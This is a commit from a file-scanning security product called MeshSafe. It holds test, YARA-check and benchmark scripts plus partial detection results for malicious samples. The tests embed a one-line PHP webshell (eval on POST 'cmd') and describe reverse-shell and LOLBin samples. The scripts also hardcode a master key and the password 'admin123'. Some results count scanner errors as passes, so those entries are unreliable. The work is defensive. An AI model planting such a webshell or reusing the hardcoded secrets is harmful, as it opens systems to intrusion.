feat: MeshSafe 文件摆渡安全卫士 v1.0 初始提交

核心功能:
- 6 层检测管线: L0 结构分析 → L1 ClamAV → L2 文档深度检测 → L3 关键词匹配 → L4 YARA → L5 PE/二进制
- FastAPI + PostgreSQL + Redis + Docker Compose 架构
- 客户端 HMAC-SHA256 签名鉴权 + 限流 + 幂等性
- 控制台 UI (登录/Dashboard/诊断中心/策略管理/任务列表/测试中心/产品介绍页)
- 三层诊断定时器 (error_scan 30s / db_aggregate 30s / container_check 5min)

并发与稳定性修复:
- 诊断定时器 Redis 时间槽位锁 (多 worker 同一槽位只有一个执行)
- JSONL 存储 fcntl 跨进程排他锁 + 容错解码 + 原子重写
- 移除 SQLite fallback, 统一 PostgreSQL
- API_CLIENTS 脱敏为环境变量, .env 已 .gitignore
This commit is contained in:
2026-10-28 19:07:11 +08:00
commit 16f134e328
113 changed files with 24604 additions and 0 deletions

32
tests/_debug_scan.py Normal file
View File

@@ -0,0 +1,32 @@
import sys, os
sys.path.insert(0, '.')
os.chdir(r'd:\project\MeshSafe')
# DB_URL 由 .env 或 compose environment 提供
os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=')
os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml')
from app.services.scanner import Scanner
from app.services.policy import PolicyStore
ps = PolicyStore(policy_file='config/policy.yaml')
scanner = Scanner(ps)
files = [
'tests/samples/shell_php_eval.php',
'tests/samples/pe_injection.exe',
'tests/samples/normal_readme.txt',
'tests/samples/normal_deploy.sh',
]
for f in files:
print(f"\n{'='*60}")
print(f"扫描: {f}")
outcome = scanner.scan_file(
file_path=f, original_filename=os.path.basename(f),
task_id=f"debug-{os.path.basename(f)}", channel='test', client_id='test',
)
print(f"verdict={outcome.verdict} action={outcome.action} score={outcome.score}")
for fi in outcome.findings:
print(f" [{fi.engine}] rule={fi.rule} sev={fi.severity} weight={fi.weight}")
if outcome.meta.get('engine_errors'):
print(f" engine_errors: {outcome.meta['engine_errors']}")

113
tests/_e2e_final.py Normal file
View File

@@ -0,0 +1,113 @@
import sys, os, time, hashlib, tempfile
sys.path.insert(0, '.')
# DB_URL 由 .env 或 compose environment 提供
os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=')
os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml')
os.environ.setdefault('MESHSAFE_ADMIN_PASSWORD', 'admin123')
# 等 uvicorn 起来
for _ in range(15):
try:
import requests
r = requests.get('http://127.0.0.1:8443/health', timeout=2)
if r.status_code == 200:
break
except Exception:
pass
time.sleep(0.5)
else:
print('❌ uvicorn 没起来')
sys.exit(1)
print('✅ uvicorn 已就绪')
import requests
from app.services.scanner import Scanner
from app.services.policy import PolicyStore
from app.db import SessionLocal
from app.models import ScanTask, ScanFinding, IdempotencyRecord
ps = PolicyStore(policy_file='config/policy.yaml')
scanner = Scanner(ps)
# ---- 1. 控制台登录 + 页面 ----
s = requests.Session()
r = s.post('http://127.0.0.1:8443/console/login', data={'username': 'admin', 'password': 'admin123'})
print(f'\n1. login: {r.status_code}')
r = s.get('http://127.0.0.1:8443/console/')
print(f'2. dashboard: {r.status_code}')
r = s.get('http://127.0.0.1:8443/console/policy')
print(f'3. policy: {r.status_code} yara_tab={"panel-yara" in r.text}')
r = s.get('http://127.0.0.1:8443/console/tasks')
print(f'4. tasks: {r.status_code}')
r = requests.get('http://127.0.0.1:8443/health')
d = r.json()
print(f'5. /health: status={d["status"]} yara_ok={d["engines"]["yara"]["ok"]} clamav_stale={d["engines"]["clamav"].get("stale_warning")}')
# ---- 2. 正常扫描(首次)----
tmp1 = tempfile.NamedTemporaryFile(delete=False, suffix='.php')
tmp1.write(b'<?php eval($_POST["cmd"]); echo "ok"; ?>')
tmp1.close()
t1 = time.perf_counter()
outcome1 = scanner.scan_file(
file_path=tmp1.name, original_filename='shell.php',
task_id='e2e-idem-001', channel='e2e', client_id='test',
)
first_ms = int((time.perf_counter() - t1) * 1000)
os.unlink(tmp1.name)
print(f'\n6. 首次扫描: verdict={outcome1.verdict} score={outcome1.score} findings={len(outcome1.findings)} took={first_ms}ms idem={outcome1.meta.get("idempotent", False)}')
# 验证 idempotency_records 表写入
db = SessionLocal()
idem_count = db.query(IdempotencyRecord).count()
print(f' idempotency_records 表行数: {idem_count}')
db.close()
# ---- 3. 幂等二次扫描(同内容 + 同策略)----
tmp2 = tempfile.NamedTemporaryFile(delete=False, suffix='.php')
tmp2.write(b'<?php eval($_POST["cmd"]); echo "ok"; ?>') # 完全相同内容
tmp2.close()
t2 = time.perf_counter()
outcome2 = scanner.scan_file(
file_path=tmp2.name, original_filename='shell.php',
task_id='e2e-idem-002', channel='e2e', client_id='test',
)
idem_ms = int((time.perf_counter() - t2) * 1000)
os.unlink(tmp2.name)
print(f'\n7. 幂等扫描: verdict={outcome2.verdict} findings={len(outcome2.findings)} took={idem_ms}ms idem={outcome2.meta.get("idempotent", False)}')
speedup = first_ms / max(idem_ms, 1)
print(f' 提速: {speedup:.1f}x(幂等跳过了引擎扫描)')
assert outcome2.meta.get('idempotent') is True, '❌ 幂等未命中'
assert idem_ms < first_ms, '❌ 幂等应该更快'
print(' ✅ 幂等生效')
# ---- 4. 限流(内存模式,client_id=test)----
# 扫描接口需要签名,这里用 memory 限流直接测底层
from app.security.ratelimit import _memory_check
# 填满窗口
for _ in range(60):
_memory_check('test:ratelimit_test', 60)
ok = _memory_check('test:ratelimit_test', 60)
print(f'\n8. 限流测试(61/60): {"通过" if ok else "被拒绝 ✅"}')
assert ok is False, '❌ 限流应拒绝第 61 次'
print(' ✅ 限流生效')
# 清内存窗口,给后续 run 不受影响
import app.security.ratelimit as rl
with rl._MEM_LOCK:
rl._MEM_BUCKET.clear()
print('\n=== E2E 全部通过 ✅ ===')

42
tests/_yara_check.py Normal file
View File

@@ -0,0 +1,42 @@
import yara, os
os.chdir(r'd:\project\MeshSafe')
rules = yara.compile(filepaths={f: os.path.join('rules', f) for f in os.listdir('rules') if f.endswith('.yar')})
# 测 PHP eval
import tempfile
tmp = tempfile.NamedTemporaryFile(delete=False, suffix='.php', mode='wb')
tmp.write(b'<?php eval($_POST["cmd"]); echo "ok"; ?>')
tmp.close()
matches = rules.match(tmp.name)
print(f'PHP eval: {[m.rule for m in matches]}')
os.unlink(tmp.name)
# 测 PE
pe_path = 'tests/samples/pe_injection.exe'
if os.path.exists(pe_path):
matches = rules.match(pe_path)
print(f'PE injection: {[m.rule for m in matches]}')
# 测 PHP 文件(用真实样本)
php_path = 'tests/samples/shell_php_eval.php'
if os.path.exists(php_path):
matches = rules.match(php_path)
print(f'shell_php_eval.php: {[m.rule for m in matches]}')
# 测 python reverse shell
py_path = 'tests/samples/shell_python.py'
if os.path.exists(py_path):
matches = rules.match(py_path)
print(f'shell_python.py: {[m.rule for m in matches]}')
# 测 certutil lolbin
lol_path = 'tests/samples/lolbin.cmd'
if os.path.exists(lol_path):
matches = rules.match(lol_path)
print(f'lolbin.cmd: {[m.rule for m in matches]}')
# 测 normal_deploy.sh
sh_path = 'tests/samples/normal_deploy.sh'
if os.path.exists(sh_path):
matches = rules.match(sh_path)
print(f'normal_deploy.sh: {[m.rule for m in matches]}')

661
tests/benchmark.py Normal file
View File

@@ -0,0 +1,661 @@
#!/usr/bin/env python3
"""MeshSafe 并发压测脚本。
用法:
python tests/benchmark.py # 跑全部默认场景
python tests/benchmark.py --concurrent 50 # 只跑 50 并发
python tests/benchmark.py --concurrent 50 100 # 跑 50 和 100 两档
python tests/benchmark.py --batch-sizes 10 50 100 # 批量档
python tests/benchmark.py --base-url http://127.0.0.1:44380
python tests/benchmark.py --report out.json # 额外输出 JSON 报告
原理:
httpx.AsyncClient + asyncio.Semaphore 控制并发数
样本从 tests/samples/ 自动扫描,按大小分档
大文件(5MB)现场 os.urandom 生成后自动清理
"""
from __future__ import annotations
import argparse
import asyncio
import json
import os
import random
import statistics
import sys
import tempfile
import time
from dataclasses import dataclass, field
from datetime import datetime
from pathlib import Path
from typing import List, Optional, Tuple
import httpx
# ---------------------------------------------------------------------------
# 配置常量
# ---------------------------------------------------------------------------
DEFAULT_BASE_URL = "http://127.0.0.1:44380"
SAMPLES_DIR = Path(__file__).resolve().parent / "samples"
DEFAULT_TIMEOUT = 60.0 # 单个请求 60s 超时
WARMUP_COUNT = 5 # 预热次数(不计入统计)
# 大小分档(字节)
SIZE_TINY = 2 * 1024 # ≤ 2KB
SIZE_SMALL = 16 * 1024 # 2KB ~ 16KB
SIZE_MEDIUM = 100 * 1024 # 16KB ~ 100KB
SIZE_LARGE = 5 * 1024 * 1024 # ≥ 5MB(现场生成)
# ---------------------------------------------------------------------------
# 数据类
# ---------------------------------------------------------------------------
@dataclass
class SampleFile:
path: Path
name: str
size: int
size_bucket: str # tiny / small / medium / large
@dataclass
class RequestResult:
idx: int
start_ts: float
end_ts: float
duration_ms: int
status_code: int
ok: bool
error: Optional[str] = None
files_count: int = 0
avg_file_ms: int = 0
@dataclass
class ScenarioResult:
name: str
concurrent: int
files_per_request: int
size_bucket: str
started_at: str
finished_at: str
total_duration_ms: int
results: List[RequestResult] = field(default_factory=list)
# 聚合统计
@property
def total_requests(self) -> int:
return len(self.results)
@property
def total_files(self) -> int:
return sum(r.files_count for r in self.results)
@property
def qps(self) -> float:
if self.total_duration_ms <= 0:
return 0.0
return self.total_requests / (self.total_duration_ms / 1000.0)
@property
def files_per_sec(self) -> float:
if self.total_duration_ms <= 0:
return 0.0
return self.total_files / (self.total_duration_ms / 1000.0)
@property
def latencies_ms(self) -> List[int]:
return [r.duration_ms for r in self.results if r.ok]
@property
def avg_ms(self) -> float:
data = self.latencies_ms
return statistics.mean(data) if data else 0.0
@property
def p50_ms(self) -> float:
data = self.latencies_ms
return self._percentile(data, 50) if data else 0.0
@property
def p95_ms(self) -> float:
data = self.latencies_ms
return self._percentile(data, 95) if data else 0.0
@property
def p99_ms(self) -> float:
data = self.latencies_ms
return self._percentile(data, 99) if data else 0.0
@property
def error_rate(self) -> float:
if not self.results:
return 0.0
bad = sum(1 for r in self.results if not r.ok)
return bad / len(self.results)
@property
def slowest(self) -> Optional[RequestResult]:
oks = [r for r in self.results if r.ok]
return max(oks, key=lambda r: r.duration_ms) if oks else None
@staticmethod
def _percentile(data: List[int], pct: float) -> float:
if not data:
return 0.0
s = sorted(data)
k = (len(s) - 1) * (pct / 100.0)
f = int(k)
c = f + 1 if f + 1 < len(s) else f
if f == c:
return float(s[f])
return float(s[f] * (c - k) + s[c] * (k - f))
# ---------------------------------------------------------------------------
# 样本加载
# ---------------------------------------------------------------------------
def load_samples() -> List[SampleFile]:
"""扫描 tests/samples/ 下所有文件(跳过 index.json 和 _scan_results.json)。"""
samples: List[SampleFile] = []
if not SAMPLES_DIR.exists():
return samples
for p in SAMPLES_DIR.iterdir():
if not p.is_file():
continue
if p.name.startswith("_") or p.suffix == ".json":
continue
size = p.stat().st_size
if size <= SIZE_TINY:
bucket = "tiny"
elif size <= SIZE_SMALL:
bucket = "small"
elif size <= SIZE_MEDIUM:
bucket = "medium"
else:
bucket = "large"
samples.append(SampleFile(path=p, name=p.name, size=size, size_bucket=bucket))
return samples
def pick_samples(
all_samples: List[SampleFile],
count: int,
bucket: str = "mixed",
with_large_placeholder: bool = False,
) -> List[SampleFile]:
"""从样本池里挑 count 个文件。
bucket: tiny / small / medium / large / mixed
with_large_placeholder: 如果 bucket=large,返回一个 placeholder 让调用者生成大文件
"""
if not all_samples and not with_large_placeholder:
return []
pool = all_samples
if bucket != "mixed":
pool = [s for s in all_samples if s.size_bucket == bucket]
if not pool:
# 如果指定 bucket 没文件,fallback 到 mixed
pool = all_samples
picked = random.choices(pool, k=count)
return list(picked)
def make_large_temp_file(size_bytes: int = 5 * 1024 * 1024) -> Tuple[tempfile.NamedTemporaryFile, str]:
"""生成大文件(5MB),用于 large bucket 测试。"""
tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".bin")
tmp.write(os.urandom(size_bytes))
tmp.flush()
return tmp, tmp.name
# ---------------------------------------------------------------------------
# 核心压测客户端
# ---------------------------------------------------------------------------
class BenchmarkClient:
def __init__(
self,
base_url: str,
username: str = "admin",
password: str = "admin123",
timeout: float = DEFAULT_TIMEOUT,
) -> None:
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
self.timeout = timeout
self.cookies: httpx.Cookies = httpx.Cookies()
async def login(self) -> None:
"""登录 console,获取 session cookie。"""
async with httpx.AsyncClient(timeout=self.timeout, verify=False, follow_redirects=True) as c:
# 先 GET 登录页拿 csrf(如果有)
await c.get(f"{self.base_url}/console/login")
r = await c.post(
f"{self.base_url}/console/login",
data={"username": self.username, "password": self.password},
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
self.cookies = c.cookies
if r.status_code not in (200, 302):
raise RuntimeError(f"登录失败: HTTP {r.status_code}")
async def upload_one(
self,
client: httpx.AsyncClient,
files: List[Tuple[str, bytes, str]], # [(filename, content_bytes, content_type), ...]
) -> RequestResult:
"""一次 upload 请求(可带多文件)。"""
idx = random.randint(0, 999999)
t0 = time.perf_counter()
file_handles = []
try:
# 构造 files 参数
upload_files = [("files", (name, content, ct)) for name, content, ct in files]
r = await client.post(
f"{self.base_url}/console/test/upload",
files=upload_files,
)
t1 = time.perf_counter()
ok = r.status_code == 200
error = None
files_count = len(files)
if ok:
try:
body = r.json()
if isinstance(body, dict):
results_list = body.get("results", [])
ok = all(it.get("verdict") not in ("error",) for it in results_list)
except Exception as exc:
ok = False
error = f"JSON decode error: {exc}"
else:
error = f"HTTP {r.status_code}"
avg_file_ms = int((t1 - t0) * 1000 / max(files_count, 1))
return RequestResult(
idx=idx,
start_ts=t0,
end_ts=t1,
duration_ms=int((t1 - t0) * 1000),
status_code=r.status_code,
ok=ok,
error=error,
files_count=files_count,
avg_file_ms=avg_file_ms,
)
except Exception as exc: # noqa: BLE001
t1 = time.perf_counter()
return RequestResult(
idx=idx,
start_ts=t0,
end_ts=t1,
duration_ms=int((t1 - t0) * 1000),
status_code=0,
ok=False,
error=str(exc),
files_count=len(files),
)
finally:
for fh in file_handles:
try:
fh.close()
except Exception:
pass
async def run_scenario(
self,
name: str,
concurrent: int,
total_requests: int,
files_per_request: int,
size_bucket: str,
samples: List[SampleFile],
) -> ScenarioResult:
"""跑一个场景。
concurrent: 并发度(同时在飞的请求数上限)
total_requests: 总共发多少请求
files_per_request: 每个请求带几个文件(1=单文件场景,>1=批量)
size_bucket: tiny/small/medium/large/mixed
samples: 样本池
"""
result = ScenarioResult(
name=name,
concurrent=concurrent,
files_per_request=files_per_request,
size_bucket=size_bucket,
started_at=datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
finished_at="",
total_duration_ms=0,
)
sem = asyncio.Semaphore(concurrent)
async def _worker(idx: int, client: httpx.AsyncClient) -> RequestResult:
async with sem:
return await self._make_request(client, files_per_request, size_bucket, samples)
connector = httpx.Limits(max_connections=concurrent * 2, max_keepalive_connections=concurrent)
async with httpx.AsyncClient(
timeout=self.timeout,
verify=False,
follow_redirects=True,
cookies=self.cookies,
limits=connector,
) as client:
# 预热(不计入)
if WARMUP_COUNT > 0:
warmup_samples = pick_samples(samples, 1, size_bucket)
for _ in range(min(WARMUP_COUNT, total_requests)):
try:
warmup_files = [(s.name, s.path.read_bytes(), "application/octet-stream") for s in warmup_samples]
await self.upload_one(client, warmup_files)
except Exception:
pass
# 正式跑
t_start = time.perf_counter()
tasks = [asyncio.create_task(_worker(i, client)) for i in range(total_requests)]
for fut in asyncio.as_completed(tasks):
r = await fut
result.results.append(r)
t_end = time.perf_counter()
result.total_duration_ms = int((t_end - t_start) * 1000)
result.finished_at = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
return result
async def _make_request(
self,
client: httpx.AsyncClient,
files_per_request: int,
size_bucket: str,
samples: List[SampleFile],
) -> RequestResult:
"""构造一个请求的文件列表,处理大文件临时生成。"""
# 决定这个请求里每个文件的 bucket
if size_bucket == "mixed":
# 混合:随机挑 30% 小、50% 中、20% 大(大的现场生成)
pass
picked = pick_samples(samples, files_per_request, size_bucket)
upload_files: List[Tuple[str, bytes, str]] = []
temp_files_to_clean: List[str] = []
for s in picked:
if size_bucket == "large" or (size_bucket == "mixed" and random.random() < 0.2 and s.size_bucket != "large"):
# 生成大文件 placeholder(用 .bin 模拟,如果没有 large bucket 样本)
tmp_path = None
large_candidates = [ps for ps in picked if ps.size_bucket == "large"]
if large_candidates:
real = random.choice(large_candidates)
upload_files.append((real.name, real.path.read_bytes(), "application/octet-stream"))
else:
tmp, tmp_path = make_large_temp_file(5 * 1024 * 1024)
upload_files.append((f"large_test_{tmp.name}.bin", Path(tmp.name).read_bytes(), "application/octet-stream"))
temp_files_to_clean.append(tmp.name)
tmp.close()
else:
upload_files.append((s.name, s.path.read_bytes(), "application/octet-stream"))
try:
return await self.upload_one(client, upload_files)
finally:
for tf in temp_files_to_clean:
try:
os.unlink(tf)
except Exception:
pass
# ---------------------------------------------------------------------------
# 报告格式化
# ---------------------------------------------------------------------------
def print_report(scenarios: List[ScenarioResult], base_url: str, workers: int = 4) -> None:
"""终端输出汇总报告。"""
print("\n" + "=" * 80)
print(" MeshSafe 并发压测报告")
print("=" * 80)
print(f" 目标: {base_url}")
print(f" 时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print(f" uvicorn: --workers {workers}")
print(f" DB pool: pool_size=20, max_overflow=30 (总上限 50)")
print(f" 预热: {WARMUP_COUNT} 次不计入")
print("-" * 80)
for sc in scenarios:
print(f"\n【{sc.name}】")
print(f" 并发数: {sc.concurrent}")
print(f" 请求文件数: {sc.files_per_request} 个/请求")
print(f" 文件大小档: {sc.size_bucket}")
print(f" 总请求数: {sc.total_requests}")
print(f" 总文件数: {sc.total_files}")
print(f" 总耗时: {sc.total_duration_ms} ms ({sc.total_duration_ms/1000:.2f}s)")
print(f" QPS: {sc.qps:.2f} req/s")
print(f" 文件吞吐: {sc.files_per_sec:.2f} files/s")
print(f" 单请求耗时:")
print(f" 平均: {sc.avg_ms:.0f} ms")
print(f" P50: {sc.p50_ms:.0f} ms")
print(f" P95: {sc.p95_ms:.0f} ms")
print(f" P99: {sc.p99_ms:.0f} ms")
print(f" 错误率: {sc.error_rate*100:.1f}%")
if sc.slowest:
slowest_msg = sc.slowest.error or "ok"
print(f" 最慢请求: {sc.slowest.duration_ms} ms ({slowest_msg[:60]})")
# 瓶颈分析
print("\n" + "-" * 80)
print("【瓶颈分析】")
_analyze(scenarios)
print("\n" + "=" * 80)
def _analyze(scenarios: List[ScenarioResult]) -> None:
if not scenarios:
return
for sc in scenarios:
if sc.concurrent == 1 and sc.files_per_request == 1 and sc.size_bucket in ("mixed", "medium"):
baseline = sc.avg_ms
print(f" 基准单文件串行: {baseline:.0f} ms")
# 并发场景看扩展效率
for sc in scenarios:
if sc.concurrent > 1 and sc.files_per_request == 1:
print(f" {sc.concurrent} 并发单文件:")
if sc.avg_ms < 300:
print(f" ✅ 响应快(avg={sc.avg_ms:.0f}ms)")
elif sc.avg_ms < 800:
print(f" ⚠️ 中等(avg={sc.avg_ms:.0f}ms)")
else:
print(f" 🔴 较慢(avg={sc.avg_ms:.0f}ms)—— 可能 uvicorn worker 不够或 DB pool 满")
if sc.error_rate > 0:
print(f" 🔴 错误率 {sc.error_rate*100:.1f}% —— 检查 DB 连接池 / ClamAV / YARA")
if sc.files_per_request > 1:
per_file = sc.avg_ms / sc.files_per_request
print(f" 批量 {sc.files_per_request} 文件·单用户:")
print(f" 总耗时 ≈ {sc.avg_ms:.0f}ms 单文件均摊 ≈ {per_file:.0f}ms")
if per_file > 300:
print(f" ⚠️ 批量内部 for 循环串行,单文件均摊偏高—— 可考虑 ThreadPoolExecutor 并行化")
else:
print(f" ✅ 批量表现正常")
def to_json_report(scenarios: List[ScenarioResult], base_url: str) -> dict:
return {
"generated_at": datetime.now().isoformat(),
"base_url": base_url,
"uvicorn_workers": 4,
"db_pool": {"pool_size": 20, "max_overflow": 30},
"scenarios": [
{
"name": sc.name,
"concurrent": sc.concurrent,
"files_per_request": sc.files_per_request,
"size_bucket": sc.size_bucket,
"started_at": sc.started_at,
"finished_at": sc.finished_at,
"total_duration_ms": sc.total_duration_ms,
"total_requests": sc.total_requests,
"total_files": sc.total_files,
"qps": round(sc.qps, 2),
"files_per_sec": round(sc.files_per_sec, 2),
"latency_ms": {
"avg": round(sc.avg_ms, 1),
"p50": round(sc.p50_ms, 1),
"p95": round(sc.p95_ms, 1),
"p99": round(sc.p99_ms, 1),
},
"error_rate": round(sc.error_rate, 4),
"slowest_ms": sc.slowest.duration_ms if sc.slowest else None,
}
for sc in scenarios
],
}
# ---------------------------------------------------------------------------
# 主入口
# ---------------------------------------------------------------------------
async def _main() -> None:
parser = argparse.ArgumentParser(description="MeshSafe 并发压测")
parser.add_argument("--base-url", default=DEFAULT_BASE_URL, help="MeshSafe 基地址")
parser.add_argument("--username", default="admin")
parser.add_argument("--password", default="admin123")
parser.add_argument(
"--concurrent",
nargs="+",
type=int,
default=[50, 100],
help="并发度档位(可多值)",
)
parser.add_argument(
"--batch-sizes",
nargs="+",
type=int,
default=[10, 50],
help="批量上传文件数(单用户·多文件场景)",
)
parser.add_argument(
"--requests-per-batch",
type=int,
default=5,
help="批量场景下发几个请求(每个请求带 N 文件)",
)
parser.add_argument(
"--requests-per-concurrent",
type=int,
default=2,
help="并发场景下每个并发度发几个请求",
)
parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT)
parser.add_argument("--report", default=None, help="JSON 报告输出路径")
args = parser.parse_args()
# 1. 加载样本
all_samples = load_samples()
if not all_samples:
print(f"❌ tests/samples/ 下没找到样本文件")
sys.exit(1)
sizes = sorted([(s.size, s.size_bucket) for s in all_samples], reverse=True)
print(f"📦 样本池: {len(all_samples)} 个文件")
for bucket in ("tiny", "small", "medium", "large"):
count = sum(1 for _, b in sizes if b == bucket)
if count:
print(f" {bucket:7s}: {count} 个")
# 2. 登录
print(f"\n🔐 登录 {args.base_url} ...")
client = BenchmarkClient(base_url=args.base_url, username=args.username, password=args.password, timeout=args.timeout)
await client.login()
print(" ✅ 登录成功")
# 3. 跑场景
scenarios: List[ScenarioResult] = []
# 场景 A:基准串行(1 并发)
print("\n" + "=" * 80)
print("【场景 A】基准串行·单文件·混合大小")
print("=" * 80)
sc_a = await client.run_scenario(
name="A1. 基准串行·单文件",
concurrent=1,
total_requests=20,
files_per_request=1,
size_bucket="mixed",
samples=all_samples,
)
scenarios.append(sc_a)
# 场景 B:多用户并发·单文件
for conc in args.concurrent:
print(f"\n{'='*80}")
print(f"【场景 B】{conc} 并发·单文件·混合大小")
print("=" * 80)
sc = await client.run_scenario(
name=f"B.{conc}·并发单文件·混合",
concurrent=conc,
total_requests=conc * args.requests_per_concurrent,
files_per_request=1,
size_bucket="mixed",
samples=all_samples,
)
scenarios.append(sc)
# 场景 C:单用户·批量多文件
for batch_n in args.batch_sizes:
print(f"\n{'='*80}")
print(f"【场景 C】单用户·{batch_n} 文件批量上传")
print("=" * 80)
sc = await client.run_scenario(
name=f"C.{batch_n}·单用户批量",
concurrent=1,
total_requests=args.requests_per_batch,
files_per_request=batch_n,
size_bucket="mixed",
samples=all_samples,
)
scenarios.append(sc)
# 场景 D:多用户并发·批量
conc_mix = max(10, min(args.concurrent[0] // 5, 20))
batch_mix = 10
print(f"\n{'='*80}")
print(f"【场景 D】{conc_mix} 并发·{batch_mix} 文件/请求(最坏情况)")
print("=" * 80)
sc_d = await client.run_scenario(
name=f"D.{conc_mix}并发×{batch_mix}文件",
concurrent=conc_mix,
total_requests=conc_mix,
files_per_request=batch_mix,
size_bucket="mixed",
samples=all_samples,
)
scenarios.append(sc_d)
# 4. 输出报告
print_report(scenarios, args.base_url)
# 5. JSON 报告
if args.report:
report = to_json_report(scenarios, args.base_url)
Path(args.report).parent.mkdir(parents=True, exist_ok=True)
Path(args.report).write_text(json.dumps(report, indent=2, ensure_ascii=False), encoding="utf-8")
print(f"\n📄 JSON 报告已保存: {args.report}")
if __name__ == "__main__":
asyncio.run(_main())

View File

@@ -0,0 +1,650 @@
[
{
"filename": "evil_help.chm",
"category": "CHM帮助",
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"ChmWithScript"
],
"actual_rules": [
"ChmWithScript",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "evil.iso",
"category": "ISO镜像",
"description": "ISO 镜像内嵌 ELF 可执行文件",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"IsoWithExecutable"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "shortcut.lnk",
"category": "LNK",
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"LnkWithAutoExec"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "lolbin.cmd",
"category": "LOLBin",
"description": "certutil -decode LOLBin 下载执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C1_PE_LOLBin_Usage"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "linux_malicious",
"category": "Linux可执行",
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"LinuxExecutable"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"LinuxExecutable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "malicious.desktop",
"category": "Linux后门",
"description": ".desktop 文件恶意 Exec 字段",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"DesktopFileAutoExec"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"C7_Linux_ReverseShell_Misc",
"DangerousExecutableExtension",
"DesktopFileAutoExec"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 5
},
{
"filename": "shell_bash_devtcp.sh",
"category": "Linux后门",
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"C7_Linux_ReverseShell_Bash",
"ShellScriptDangerous"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"DangerousExecutableExtension",
"ShellScriptDangerous"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "shell_nc.sh",
"category": "Linux后门",
"description": "nc -e /bin/bash 反弹 Shell",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"C7_Linux_ReverseShell_NC",
"ShellScriptDangerous"
],
"actual_rules": [
"C7_Linux_ReverseShell_NC",
"DangerousExecutableExtension",
"ShellScriptDangerous"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "shell_python.py",
"category": "Linux后门",
"description": "Python pty + socket 反弹 Shell",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C7_Linux_ReverseShell_Python",
"ShellScriptDangerous"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "ole_dropper.doc",
"category": "OLE嵌入",
"description": "DOC 文件内嵌 .exe OLE 对象(OLE2 CFB + .exe stream)",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"EmbeddedExecutable"
],
"actual_rules": [
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "macro_alert.docm",
"category": "Office宏",
"description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"VBAAutoExec",
"VBAAutoExecShell"
],
"actual_rules": [
"ArchiveContainsExecutable",
"ExtensionMismatch",
"OleToolsUnavailable",
"VBAAutoExecShell"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 4
},
{
"filename": "template_backdoor.docx",
"category": "Office宏",
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"AttachedTemplate"
],
"actual_rules": [
"AttachedTemplate",
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "vba_autoexec.bas",
"category": "Office宏",
"description": "VBA AutoOpen + Shell 执行",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"VBAAutoExec"
],
"actual_rules": [
"VBAAutoExecShell"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "malicious.pdf",
"category": "PDF载荷",
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"PdfJavaScript",
"PdfOpenAction"
],
"actual_rules": [
